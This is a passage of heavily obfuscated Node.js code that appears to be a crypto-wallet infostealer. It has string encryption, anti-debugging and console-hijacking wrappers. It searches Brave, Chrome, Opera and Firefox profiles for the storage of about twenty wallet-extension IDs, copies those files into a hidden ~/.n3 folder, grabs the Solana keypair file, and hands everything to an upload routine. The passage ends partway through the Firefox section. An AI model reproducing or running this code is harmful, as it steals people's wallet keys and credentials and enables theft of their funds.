'EdSuW5rx', 'fmocW7mbiq', 'or/dNYJdOq', 'ydRcMgGP', 'acRdILGl', 'jX8yW4zg', 'F8odhmotW5O', 'n3ujW5Sx', 'kqbIW4G3', 'CWbkwhe', 'iWT1W60u', 'A2xdG3Co', 'smo0BSkhdG', 'qsa7W4Ho', 'wfWBW6a', 'WPRdG0G+hq', 'W6FdPSoJACkx', 'WQpdHLKulq', 'q8kSoSk8Aa', 'mmoqhConW64', 'WO1/WPdcQqe', 'oMVdQq', 'WP7cLHFdJuO', 'mmo/WP8Hba', 'vSkeW58vma', 'W502W7dcUSoO', 't13dTMiR', 'p1pdLLpdTa', 'W5JcK25biG', 'WR5+W6xdO2m', 'WQVdGubcW7q', 'WP5VWPalW68', 'W4iDW6FcUmoX', 'W6BcI8kAWQ7cIG', 'W6JcIKHpna', 'oYdcTcRcQW', 'iG7dP2SE', 'vLFdPmkMWPu', 'uCkoW47dPSkU', 'WQldMuuBlW', 'W63dMCkXttO', 'kmo5WRWWgq', 'zJdcUCoTnW', 'oIu2W4q/', 'wCkjwstcLa', 'zYVcL8oNlq', 'zcZcRSoscW', 'mtaWhqa', 'vqFcVmoGka', 'W7pcLuHpna', 'W5JcNCkXWOFcQq', 'WO9yWPWlW64', 'tKaeW63cRW', 'DSosvbDm', 'acddVeC1', 'aSkpW4mraG', 'beFcRMaW', 'pwNdVNhdNq', 'C2pdN1VdPa', 'uCkCW5ddQSkj', 'DSkcmmkQta', 'WRr6WQVcPJq', 'WOTzWPO/W6W', 'WPRdJLJcTSkP', 'WOf0WP0', 'ncBdKKGQ', 't1FdN0Of', 'gCkgW5Osoa', 'W4pcQ29Eeq', 'qcdcKuaO', 'ixVcHMaj', 'jrtdGqddKq', 'BGxcICo1dq', 'WRDkW6NcLSov', 'i33cHG', 'h8k1W70mmq', 'WRtdTCkPgSke', 'WQNdQMneW5S', 'iCocWQK0eG', 'WP3dO149dq', 'vmkUW7hdGmkr', 'p8k4WPVcTsS', 'FJuiW4vq', 'rshcL0S', 'W6pdVWJdJmk6', 'WOxdUCkeDIO', 'WR3cPLZcJSoSl8oxWQ/dQtb5W6qt', 'W7W2WRldOYm', 'zCo8u8oHoq', 'W6NdVqFdMSkY', 'WOldRx7cQmk+', 'WQBdOSk2fG', 'W7/cPCkIWOxcPG', 'W6ObW6tcMmow', 'W7SlW6tcISou', 'FCorcSoUW6K', 'rGfbWQG', 'aCkcW6lcMIa', 'gcyMfmok', 'kxhcJxWc', 'W7JcLNG', 'WQldV1FcGCk+', 'W5pdRKRcR8k+', 'C2BdUa', 'x8kDrq', 'WPv5WPeaW7i', 'tmkiwHxcKq', 'FsS5W5rs', 'W4pdN8kvEZy', 'FXTjnXq', 'i2dcGxWi', 'yCkpWPHY', 'bX0eiSoE', 'WRr2W5ldQ0q', 'vq7cK8ouna', 'WQ/dUcy/WQW', 'W497WQS', 'r8o2rrrK', 'r8kODsNcTG', 'WQNdN2NcL8kO', 'qSkECXxcTa', 'tCorWPFcQW', 'oJ84fCkc', 'fmoUACoToa', 'sCkuW5RdPCk+', 'mdbxwNC', 'rSoFvmoenG', 'W6ZdVmkHESkw', 'Bqbfw2e', 'gSklW5GD', 'WPZdUCkCpCkV', 'rL5My8oZ', 'WONdSg1+W6K', 'pNtdRq', 'fMFcP2C+', 'WO/dVmkih8kx', 'W67cRxXSeW', 'cgZdMhtdNq', 'v8owxW', 'W4mUW4tcRSo5', 'WRpdNmozW75U', 'qeJdNeqn', 'WQhcSZBdSuu', 'W6GrW7NcKq', 'W4dcMmk7WOZcOq', 'l2TYsmos', 'CcDppW', 'hYddG1yO', 'W6xcJeXmmW', 'FdRcJeaS', 'WQ9PW67dO3O', 'raNcUMyd', 'D8oPqXHj', 'icRcV3X7', 'DMTbCSoJ', 'laldJwK/', 'WRxdPCkGh8kt', 'xvtdLa', 'jcS3dq', 'idBdIf4S', 'W63cNxvrlG', 'W4BdUtldJSkA', 'zI/cKCoLAG', 'DhpdVhddTG', 'ESorsCoVcW', 'WORdRvpcLmkP', 'sCknW4NdJSkq', 'aWCRh8oN', 'W6hdQIldTmk4', 'eXCdcZu', 'W4FcKxDtcq', 'WQnEW47dJw8', 'yx5Lx3W', 'eSkScKG', 'uuCl', 'zMDMqSoy', 'psNcHJuH', 'sWbGCNe', 'W7KxW7dcN8ob', 'ce7dLhddTG', 'W7xcINPvpW', 'bYeZdsO', 'mhKHW4Oq', 'fsNdMcRdLW', 'mGfQW6Sf', 'FwPFyW', 'DmoYqWPo', 'eYnYW5W2', 'cY7dMdNdLG', 'WPflWOBcOZm', 'WRTEWRKjW7G', 'f8o+WQaaja', 'AeD5D8oJ', 'FCoSs8oohW', 'W6pdS04', 'vfxdHmkR', 'DmoncSo8W7O', 'WOFdUIu5WQ8', 'BMegW73cGG', 'mSkvW788eW', 'BYrQkba', 'kCkmWOv4cW', 'jIaEfCo4', 'W4tdQvVcTmkJ', 'imknWPHWkG', 'mt08emkeW5hcTfioWOVcOq', 'WP/dICoV', 'ySkhWPu', 'C2TRvCov', 'W7xcMwKwDW', 'W5rbWRVcRmkn', 'WQBdUSkIl8kk', 'WQ/cJIldUKa', 'jHtcHGtdIq', 'mJSPda', 'WOddVM7dRCkA', 'W4BcRCkfWP3cRq', 'Bx3cJd0m', 'bGyVgmoX', 'W5P4WQBcRmkU', 'chldVNNdUa', 'FIdcTSogkG', 'WRxdUmkRdCkt', 'estcINTy', 'qxddHmkkWQm', 'EYCqW5bN', 'ehmAW50t', 'jJmViSo6', 'WPBdQLnNW6O', 'pg7dMu/dSG', 'mw3dRNVdSa', 'W5/dGSoEyCk4', 'W7tdQmoGD8kB', 'DmolfmoCW7u', 'W4b+WQ3cJmkW', 'WQtcVaNdKmkX', 'W4ldRLVcT8oX', 'W4lcVSkWWRRcOW', 'WRFcLc7dQ3u', 'umkQW4FdPCkh', 'sfBdKSkR', 'bqzIW7Co', 'kNlcH3Wc', 'W50qW77cTmoA', 'oSkBW5Wmga', 'bZG9p8ot', 'WOFdO2NcTSkr', 'EYrjC08', 'nmkiW4u1mq', 'W47dV2BcOSk4', 'WPtdRw1K', 'yCosxbW', 'W5HjWOSyW6S', 'nSkOW6BcRYO', 'WOFdKwiVgW', 'w10jW7ZcKG', 'DCk+uGlcJq', 'rMBdL3tdLq', 'W7SlW7RcGmo9', 'rmkTW5JdU8kv', 'WPVdUSoUW6ro', 'W6ldUCohACkF', 'lY/dJvK6', 'WOPtWQ0nW6m', 'yCowgConW4G', 'W7JdV8kuuHK', 'jdRdKhG7', 'dSksWQ9TgW', 'khpdMwtdGW', 'wJ3dKfiS', 'cwOFW5Ce', 'WPJdSeqFka', 'zCkhyGFcKW', 'wmoyESkPpW', 'sgzcEva', 'p8k3WP5JiG', 'AJbPC30', 'rCoifmotW7e', 'yeLyWR4', 'n8kGW4hcNYO', 'nSo/WP0naa', 'fSkBWOnnba', 'tmkXW6FdHCkN', 'W6tcINOwcq', 'ESovW48SF8kvW4hdRmopWPix', 'WQtcVatdJ8kZ', 'W6ZcVs/dH8kW', 'u8kJrqdcOG', 'k8kqW5OAdq', 'FSouqrjo', 'W6xdSr7dLSkW', 'WOFcSHVdMxa', 'WP9GWR0IW6O', 'AcFcR8oJkG', 'WQxdO8k3f8kj', 'W4OcW77cMSoE', 'iCkuW6qupq', 'WQpdS0y3aG', 'qLpdKmoWWOG', 'qmkwW5ddUmkq', 'W7hcINrcnq', 'DSkJW7PItGhcSSk4WQldTH9uDa', 'i0uZW6qI', 'aYhcH3zn', 'WQj5W6JcVYu', 'zu3dQgBdQW', 'FcrcnXa', 'CMqGW4xcGa', 'A3zaBNW', 'ymkIWODLcW', 'yIBcHe86', 'qCkaW7/dMmkX', 'ct4kaSoC', 'WOT1W4pdIKW', 'geFdU1JdLa', 'W6xdMZe/WRO', 'WRnmWRlcQd4', 'pb3dJs3dLW', 'ruJdIWWm', 'WQZdPce', 'bM0VW4qG', 'ocFcOufL', 'eSoiWOFcSSoDnv1GaNmwWQVdNW', 'wmozcue', 'ChFcKaXRDmkOW7CHW6FcS8kxW7G', 'W7ldMSkNvti', 'eSoYWO4MdG', 'pCkQW4aEba', 'W7ldLNhcUSk7', 'wfldGKK', 'y3XVrSoc', 'p8ktWPT8la', 'DKHHySoK', 'hCkXW48xnG', 'Ct0s', 'W7WmW4pcUCoK', 'BNncy3m', 'r8kYpCk4Eq', 'cXK4h8oR', 'FMNdNCkuWRK', 'kCkoW7JcTdi', 'pCkgWPL0iG', 'WQRdSKyEiG', 'W5/dT8oMDCkS', 'WQpdOcyGWQi', 'WO7cKIBdLfq', 'W57cTSkrWRRcOa', 'WOddQM7cTCkE', 'hCkWW5mymq', 'B3BdVSk8WRq', 'WOj8WORcNHu', 'jcBdHbZdIq', 'suqdW63cPq', 'W6RcPIP8W6u', 'vmoAuComhW', 'CConEmo2gq', 'pMxdUhpdQW', 'BvL4qmo/', 'ngddPxddVa', 'DSoEvq', 'W6FdRCoRrG', 'W6xdRmoCymkx', 'ufxdPmkRWOK', 'xCoczmkZdq', 'W5BdTuFcKSkf', 'gmk7WPb+vG', 'WOBdRwb/W78', 'gHW7gW', 'daaKfSo8', 'Ec3cVxy8', 'f8kfWRX3cq', 'rSoosCol', 'rSkuuGdcTq', 'WQJcLd3dPM4', 'lmk2W5iFja', 'WOVdI3/cKCk4', 'W6FcSmkvWRNcQG', 'sbRdPmkRWPO', 'WQVcOg1V', 'kSk6WPr+fq', 'nI/cHNe', 'lc0WbW', 'ss5UcWC', 'W4BdLSktCJK', 'qmomhSouW5y', 'W6dcP3jsDa', 'quddPw/dTq', 'gftdMfRdJW', 'E0XUzvG', 'W6BdICoMuSkm', 'qx9tASo9', 'W4pdSKFcVW', 'WQVdUmosW6TN', 'WORdNN/cO8kB', 'CColf8oxW7K', 'psxdSZlcRq', 'AbhcQSokka', 'zsZcLmoQ', 'DI3cNG', 'WO3dK0qFoG', 'WPNdPgLqW68', 'WOldKbafWRa', 'CSoHy8ofjq', 'A1KbW6/cQW', 'iMKvW706', 'WRBdII0jWQW', 'CCkoW4NdHmko', 'Dc9fpWe', 'WPNdNSoIWPnv', 'F8oAsXPl', 'eIOLfCox', 'W6mtW7VcRSo0', 'W47dJ8k3qb4', 'rSoMhmoaW7q', 'DSoxc8kwW74', 'aMGCWPeZ', 'W6dcPSk0WRRcPa', 'DgtdR0tdOW', 'WQ5TWQ3cQt8', 'aWCV', 'x8osAmkL', 'W6KhW5dcV8o1', 'Ft89W51e', 'nZtcJxr/', 'ymovbG1f', 'z3zlu1S', 'uCk1pmk6wa', 'W5pdTNRcOSk/', 'wf7dHuKg', 'W4tdTCo9Fmky', 'WOVdOhNcRCkD', 'vmopmmoiW40', 'ChT5tW', 'FbDbxNe', 'W70hW77cLSoj', 'ibtdMZ8', 'W7xcOhDveq', 'baFdNWNdUW', 'WPFdRgjL', 'WRX8W6tdO2u', 'r2mdW6BcRG', 'W7NdTWVdM8k7', 'vIDfmaW', 'v8oCwIddQW', 'pN7dPw/dRq', 'kX7dL8kT', 'vCopvCorrW', 'ASozaeVcMG', 'qmkgzdxcOW', 'ycZcLCoNlG', 'EmoutXC', 'yxJdH2ZdRq', 'x8ovxq', 'W4ldJMtcN8ki', 'iSo5WQaWga', 'hbNdNZVdGa', 'WRZdUgJcP8kE', 'oSkYW64mfG', 'W43cONXNmG', 'DGTd', 'W6hdLLWOka', 'CvZdN3ddJa', 'W6pcHmkqWQxcGW', 'FGlcTSopba', 'DgldSwtdRa', 'W4FcL8k8WOFcPG', 'AfNdSgldIG', 'nCkIW5Ppea', 'BHf/gGi', 'AmodEmk1ga', 'W6CcW73cPmo4', 'mSkRW6WEmW', 'vmoWESk0mG', 'WOldHmkxkCkL', 'W7JdGd3dPSk3', 'zaJcLCo9bG', 'lCoJW658xG', 'WPdcSsqO', 'WP1jWOCgW7G', 'WP/dM3BcLCkp', 'W77dPCoT', 'rSkPnSk9', 'WPvvWPu9W5q', 'lM3dPfpdIG', 'dWqxhHi', 'i8o9WQ82eG', 'W4LpWOpcImks', 'WR/dTCkRg8kn', 'WPldG8oYW5i', 'WRtdN8kql8kn', 'WPH+W7ldHxK', 'j0BcJxic', 'yx56s8op', 'rKRdTCk9WOm', 'mcZdSLCn', 'igFcILCh', 'vsvVaGK', 'WRddH8kmpCkx', 'ebtcJxTF', 'wHnRwfq', 'BKHGAvS', 'WQ3cJIZdS1m', 'p1ldO23dIa', 'imkGW4y', 'WRxdSCkIeCkd', 'WQRdSL8', 'y2fKvmoc', 'W4BdV0BcUSk9', 'WPtdICk7', 'r1SCWQFcHG', 'WO7dOx8', 'aMGxW5Sy', 'WPjUWOKTW68', 'WRJcV8oSxG', 'x8outXjQ', 'uqn0hZy', 'u0vBsCot', 'WRXWW6hdRMS', 'W6ldSNdcJSk4', 'FcK7W45X', 'WRVdULFcH8ky', 'hg8tW7KI', 'W7DVWQ/cOmk/', 'gCkpW5m', 'vmkoc8kGza', 'FHDbeeC', 'WQpdPCkP', 'xmktfmk4Aq', 'W7VcR31omG', 'sqv+maO', 'WQdcHYldSeO', 'jZpdH1O7', 'WQ9ZW6ldRMO', 'zZ1FW4fm', 'fgmYW7yA', 'W7i9WPldGSo8', 'isFdTfO3', 'iCkqW7NcMte', 'q8kWoCk/yW', 'jrtdIKSE', 'mspdJsRdNq', 'W6TGWOhcJSkn', 'l2pdV2G', 'BGm4W6De', 'DSoAx8kspW', 'W6alW67cJmoi', 'WR/dUfq/gG', 'W7KqW6VdLG', 'qmkvW4VdGCkW', 'E1pdG0qi', 'mbbuu2O', 'W5ldJ3NcJCkw', 'W6KxW7e', 'wc7cSCoqbW', 'cCkKoG', 'WRFdTmkXf8ki', 'zCoSAtjy', 'qLpdKmoW', 'y8kydmktDW', 'WQddUMevlG', 'ialdQvWp', 'WPvaWQdcGtq', 'cuK4W70N', 'W7i5W77cJSog', 'yZ8eBwC', 'EYbjpra', 'W4TUWQ3cJmkS', 'W7ldK8oQEmkD', 'rCkqW5NcPa', 'WRFdRYCQWQu', 'WOLJWQtcVtG', 'w19/qSoNWPTJW5FdLSoU', 'WPtdTgXpW6K', 'AxPoFG', 'WRP4W4/dSNG', 'l3pdNKtdQq', 'FNPyqNW', 'WPvQWROIW78', 'WOVdLg1UW4G', 'jMKkW5KB', 'W7GpW5lcTCoV', 'W51uWQFcR8k6', 'mwldONldTG', 'W40hW7FcQmk5', 'bWNdNXi', 'DmosqvzO', 'wmoyzmkJdq', 'h1ddH2xdSq', 'WO7cTuRcTmk/', 'FGdcU8o2nq', 'WOFcUb3dKh4', 'nXNdIsldLW', 'lbaQjYG', 'CmoJvCoOpG', 'W4BdO8kGFt0', 'vGXscdq', 'WQ7cThrrmW', 'W5ZdGb3dU8kl', 'xeJdOLuB', 'W4iZW5pcRmol', 'xmouu8on', 'rKOCW6hcRG', 'qmkLpCkYyW', 'wCkiW4FdOCkl', 'ftFdLfG5', 'W4ldNmo7WO3cUq', 'pCkRW5y', 'WOJcOqFdLh4', 's1xdLeaD', 'W7VdRSoOCSkA', 'CWX1mYm', 'waPlwgK', 'yJZcNget', 'WPldRW0FWRa', 'lmkBWOndaq', 'w8kMuGBcJW', 'srHHfbC', 'mmojqW1y', 'BNmEW6hcTW', 'W4NdJ8kzzxq', 'v8kbua3cVW', 'WQT8WPaGW50', 'tv/dMfiD', 'W4/dSN3cMmkH', 'adtcGfn8', 'FJa1W5rc', 'u8kxW5RdPmka', 'i8o7WQO4eq', 'rCopw8oxpa', 'uSkHmSkyxG', 'WQJdQKpcHmk6', 'W7BcHCk+WQRcHG', 'oMBdGhn+', 'bWCgWRS', 'iZpdGq7dGa', 'W6n+W7pdRwO', 'lSkoWPi', 'qvOSW6hcSW', 'k20lW48/', 'B8klaCkvzq', 'lCkRW4BdUsG', 'CCodqSkHoa', 'W6JdNbJdVmkz', 'WP3dSt0JWRi', 'WPpdNCouW4XB', 'WRytW6VcLCox', 'WOxdO8k3g8kg', 'lv3cKuSS', 'WQddUKNcJmk1', 'vu/dLvVdLG', 'f0JdVx/dTq', 'W7NdVeRdI8k3', 'pSkBWQDnca', 'EmoUkmkGFq', 'E10AW63cOa', 'W6JdSqZdNmk3', 'A8o/yc5Q', 'bbO8aCoN', 'W5TLW6dcNSk9', 'DvZdLNtdPG', 'W4qIW5JcHSoo', 'k8kJW4hcOsu', 'l0jJrCoe', 'xx8bW6ZcHq', 'WQFdIw1TW4e', 'W7GtW7ZcPmo1', 'g8kqW5myiq', 'iCo8WPqYfa', 'DhmuacqVWQBcUq', 'w8kyqGpcRq', 'WR3dVLy9', 'CJXsivO'];
_0x14f6 = function () {
return _0x3b8a99;
};
return _0x14f6();
}
function _0x1634(_0x14b471, _0x26f7d5) {
const _0x400dd8 = _0x14f6();
_0x1634 = function (_0x492312, _0x46a628) {
_0x492312 = _0x492312 - 201;
let _0x2bc531 = _0x400dd8[_0x492312];
if (_0x1634.libiWb === undefined) {
var _0x51081f = function (_0x2e920a) {
let _0x597314 = '';
let _0x4987f6 = '';
let _0x538661 = _0x597314 + _0x51081f;
let _0x323efe = 0;
let _0x391e7b;
let _0x1da5b5;
for (let _0x3b8adb = 0; _0x1da5b5 = _0x2e920a.charAt(_0x3b8adb++); ~_0x1da5b5 && (_0x391e7b = _0x323efe % 4 ? _0x391e7b * 64 + _0x1da5b5 : _0x1da5b5, _0x323efe++ % 4) ? _0x597314 += _0x538661.charCodeAt(_0x3b8adb + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x391e7b >> (-2 * _0x323efe & 6)) : _0x323efe : 0) {
_0x1da5b5 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1da5b5);
}
let _0x504c09 = 0;
for (let _0x576a40 = _0x597314.length; _0x504c09 < _0x576a40; _0x504c09++) {
_0x4987f6 += '%' + ('00' + _0x597314.charCodeAt(_0x504c09).toString(16)).slice(-2);
}
return decodeURIComponent(_0x4987f6);
};
const _0x51e267 = function (_0x4c641e, _0x484645) {
let _0x3a9b39 = [];
let _0x3640bf = 0;
let _0x17d31a;
let _0x4baea7 = '';
_0x4c641e = _0x51081f(_0x4c641e);
let _0x64bab5;
for (_0x64bab5 = 0; _0x64bab5 < 256; _0x64bab5++) {
_0x3a9b39[_0x64bab5] = _0x64bab5;
}
for (_0x64bab5 = 0; _0x64bab5 < 256; _0x64bab5++) {
_0x3640bf = (_0x3640bf + _0x3a9b39[_0x64bab5] + _0x484645.charCodeAt(_0x64bab5 % _0x484645.length)) % 256;
_0x17d31a = _0x3a9b39[_0x64bab5];
_0x3a9b39[_0x64bab5] = _0x3a9b39[_0x3640bf];
_0x3a9b39[_0x3640bf] = _0x17d31a;
}
_0x64bab5 = 0;
_0x3640bf = 0;
for (let _0x4426d0 = 0; _0x4426d0 < _0x4c641e.length; _0x4426d0++) {
_0x64bab5 = (_0x64bab5 + 1) % 256;
_0x3640bf = (_0x3640bf + _0x3a9b39[_0x64bab5]) % 256;
_0x17d31a = _0x3a9b39[_0x64bab5];
_0x3a9b39[_0x64bab5] = _0x3a9b39[_0x3640bf];
_0x3a9b39[_0x3640bf] = _0x17d31a;
_0x4baea7 += String.fromCharCode(_0x4c641e.charCodeAt(_0x4426d0) ^ _0x3a9b39[(_0x3a9b39[_0x64bab5] + _0x3a9b39[_0x3640bf]) % 256]);
}
return _0x4baea7;
};
_0x1634.bEijjX = _0x51e267;
_0x14b471 = arguments;
_0x1634.libiWb = true;
}
const _0x54c893 = _0x400dd8[0];
const _0xf6d063 = _0x492312 + _0x54c893;
const _0x9f8e09 = _0x14b471[_0xf6d063];
if (!_0x9f8e09) {
if (_0x1634.kJsvQz === undefined) {
const _0x5866e3 = function (_0xbcc6de) {
this.KJaEay = _0xbcc6de;
this.IHGGeK = [1, 0, 0];
this.YPkzBh = function () {
return 'newState';
};
this.VIpKXs = "\\w+ *\\(\\) *{\\w+ *";
this.aRMbBJ = "['|\"].+['|\"];? *}";
};
_0x5866e3.prototype.XztoQv = function () {
const _0xdda71d = new RegExp(this.VIpKXs + this.aRMbBJ);
const _0x3350d3 = _0xdda71d.test(this.YPkzBh.toString()) ? --this.IHGGeK[1] : --this.IHGGeK[0];
return this.cwZHEg(_0x3350d3);
};
_0x5866e3.prototype.cwZHEg = function (_0x208701) {
if (!Boolean(~_0x208701)) {
return _0x208701;
}
return this.jYBbIl(this.KJaEay);
};
_0x5866e3.prototype.jYBbIl = function (_0x5801fc) {
let _0x492c4e = 0;
for (let _0x1b8763 = this.IHGGeK.length; _0x492c4e < _0x1b8763; _0x492c4e++) {
this.IHGGeK.push(Math.round(Math.random()));
_0x1b8763 = this.IHGGeK.length;
}
return _0x5801fc(this.IHGGeK[0]);
};
new _0x5866e3(_0x1634).XztoQv();
_0x1634.kJsvQz = true;
}
_0x2bc531 = _0x1634.bEijjX(_0x2bc531, _0x46a628);
_0x14b471[_0xf6d063] = _0x2bc531;
} else {
_0x2bc531 = _0x9f8e09;
}
return _0x2bc531;
};
return _0x1634(_0x14b471, _0x26f7d5);
}
function _0x1f3184(_0x56ddca, _0x563828, _0x287a3c, _0x467dfe, _0x5c519e) {
return _0x1634(_0x467dfe - 0x1d6, _0x563828);
}
const _0x157231 = function () {
let _0x358639 = true;
return function (_0x1b3277, _0x1723e9) {
const _0x3201f1 = _0x358639 ? function () {
if (_0x1723e9) {
const _0x33fc13 = _0x1723e9.apply(_0x1b3277, arguments);
_0x1723e9 = null;
return _0x33fc13;
}
} : function () {};
_0x358639 = false;
return _0x3201f1;
};
}();
(function () {
_0x157231(this, function () {
const _0x127548 = new RegExp("function *\\( *\\)");
const _0x4bd227 = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", 'i');
const _0x4894d7 = _0x24267e("init");
if (!_0x127548.test(_0x4894d7 + "chain") || !_0x4bd227.test(_0x4894d7 + "input")) {
_0x4894d7('0');
} else {
_0x24267e();
}
})();
})();
const _0xe9d549 = function () {
let _0x3ee607 = true;
return function (_0x1422e7, _0x2fe832) {
const _0x297e33 = _0x3ee607 ? function () {
if (_0x2fe832) {
const _0x1f2665 = _0x2fe832.apply(_0x1422e7, arguments);
_0x2fe832 = null;
return _0x1f2665;
}
} : function () {};
_0x3ee607 = false;
return _0x297e33;
};
}();
const _0x1ba905 = _0xe9d549(this, function () {
let _0x266b0b;
try {
const _0x5b4880 = Function("return (function() {}.constructor(\"return this\")( ));");
_0x266b0b = _0x5b4880();
} catch (_0x530a73) {
_0x266b0b = window;
}
const _0x3ef4a7 = _0x266b0b.console = _0x266b0b.console || {};
const _0x30b21c = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (let _0x301e0a = 0; _0x301e0a < _0x30b21c.length; _0x301e0a++) {
const _0x1b0a4c = _0xe9d549.constructor.prototype.bind(_0xe9d549);
const _0x2c31b3 = _0x30b21c[_0x301e0a];
const _0x44a299 = _0x3ef4a7[_0x2c31b3] || _0x1b0a4c;
_0x1b0a4c.__proto__ = _0xe9d549.bind(_0xe9d549);
_0x1b0a4c.toString = _0x44a299.toString.bind(_0x44a299);
_0x3ef4a7[_0x2c31b3] = _0x1b0a4c;
}
});
_0x1ba905();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x570786 => _0x570786.replace(/^~([a-z]+|\/)/, (_0x26c4dd, _0x588f00) => '/' === _0x588f00 ? homeDir : path.dirname(homeDir) + '/' + _0x588f00);
function _0x13738f(_0x54cce8, _0x3f364e, _0x4e1999, _0x169884, _0x4ddae4) {
return _0x1634(_0x4e1999 - 0x31c, _0x169884);
}
function testPath(_0x733af8) {
const _0x1ce563 = {
tKTbe: function (_0x312b8a, _0x2c4733) {
return _0x312b8a !== _0x2c4733;
}
};
_0x1ce563.qcKBo = "uUjPO";
_0x1ce563.SMXaj = function (_0x90fb5c, _0x3a1f6e) {
return _0x90fb5c !== _0x3a1f6e;
};
_0x1ce563.mWrgI = "WYUbn";
_0x1ce563.nmMMB = "KLFRf";
try {
if (_0x1ce563.qcKBo !== _0x1ce563.qcKBo) {
_0x4f0e14.rmSync(_0x5d56b2);
} else {
fs.accessSync(_0x733af8);
return true;
}
} catch (_0x327bae) {
if (_0x1ce563.SMXaj(_0x1ce563.mWrgI, _0x1ce563.nmMMB)) {
return false;
} else {
const _0x2c7326 = _0x2c5eb4.apply(_0x2c2c40, arguments);
_0x142c56 = null;
return _0x2c7326;
}
}
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x56cc75, _0xa20c59, _0x2eba00, _0x82c550) => {
let _0x44a831;
if (!_0x56cc75 || '' === _0x56cc75) {
return [];
}
try {
if (!testPath(_0x56cc75)) {
return [];
}
} catch (_0x3a118c) {
return [];
}
if (!_0xa20c59) {
_0xa20c59 = '';
}
let _0x87c72e = [];
for (let _0x2a346b = 0; _0x2a346b < 200; _0x2a346b++) {
const _0x254ebc = _0x56cc75 + '/' + (0 === _0x2a346b ? "Default" : "Profile " + _0x2a346b) + "/Local Extension Settings";
for (let _0x516e00 = 0; _0x516e00 < Bt.length; _0x516e00++) {
let _0x1d69a4 = _0x254ebc + '/' + Bt[_0x516e00];
if (testPath(_0x1d69a4)) {
let _0x4cf063 = [];
try {
_0x4cf063 = fs.readdirSync(_0x1d69a4);
} catch (_0x1ccff8) {
_0x4cf063 = [];
}
let _0x5dea7f = 0;
if (!testPath(getAbsolutePath('~/') + "/.n3")) {
fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
}
_0x4cf063.forEach(async _0x2d9b34 => {
let _0xafe568 = path.join(_0x1d69a4, _0x2d9b34);
try {
let _0x11eb9a = fs.statSync(_0xafe568);
if (_0x11eb9a.isDirectory()) {
return;
}
if (_0xafe568.includes(".log") || _0xafe568.includes(".ldb")) {
const _0x41797b = {
filename: "73_" + _0xa20c59 + _0x2a346b + '_' + Bt[_0x516e00] + '_' + _0x2d9b34
};
_0x87c72e.push({
'value': fs.createReadStream(_0xafe568),
'options': _0x41797b
});
} else {
fs_promises.copyFile(_0xafe568, getAbsolutePath('~/') + "/.n3/tp" + _0x5dea7f);
const _0x4c383e = {
filename: "73_" + _0xa20c59 + _0x2a346b + '_' + Bt[_0x516e00] + '_' + _0x2d9b34
};
_0x87c72e.push({
'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x5dea7f),
'options': _0x4c383e
});
_0x5dea7f += 1;
}
} catch (_0x1ebd1d) {}
});
}
}
}
if (_0x2eba00 && (_0x44a831 = homeDir + "/.config/solana/id.json", fs.existsSync(_0x44a831))) {
try {
const _0xabd68c = {
filename: "solana_id.txt"
};
_0x87c72e.push({
'value': fs.createReadStream(_0x44a831),
'options': _0xabd68c
});
} catch (_0x10d966) {}
}
Upload(_0x87c72e, _0x82c550);
return _0x87c72e;
};
const uploadMozilla = _0x118980 => {
const _0x331d3b = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
let _0x499602 = [];
if (testPath(_0x331d3b)) {
let _0x403e39 = [];
try {
_0x403e39 = fs.readdirSync(_0x331d3b);
} catch (_0x36abb5) {
_0x403e39 = [];
}
let _0x484565 = 0;
_0x403e39.forEach(async _0x4c87ca => {
let _0x21d349 = path.join(_0x331d3b, _0x4c87ca);
if (_0x21d349.includes("-release")) {
let _0xa90e94 = path.join(_0x21d349, "/storage/default");
let _0x15e0c9 = [];
_0x15e0c9 = fs.readdirSync(_0xa90e94);
let _0x42c65e = 0;
_0x15e0c9.forEach(async _0x48e7f9 => {
if (_0x48e7f9.includes("moz-extension")) {
let _0xee4d63 = path.join(_0xa90e94, _0x48e7f9);
_0xee4d63 = path.join(_0xee4d63, "idb");
let _0x5e15e1 = [];
_0x5e15e1 = fs.readdirSync(_0xee4d63);
_0x5e15e1.forEach(async _0x91f94c => {
if (_0x91f94c.includes(".files")) {
let _0x508bc5 = path.join(_0xee4d63, _0x91f94c);
let _0x3a907a = [];
_0x3a907a = fs.readdirSync(_0x508bc5);
_0x3a907a.forEach(_0xb2ce18 => {
if (!fs.statSync(path.join(_0x508bc5, _0xb2ce18)).isDirectory()) {
let _0x4c110c = path.join(_0x508bc5, _0xb2ce18);
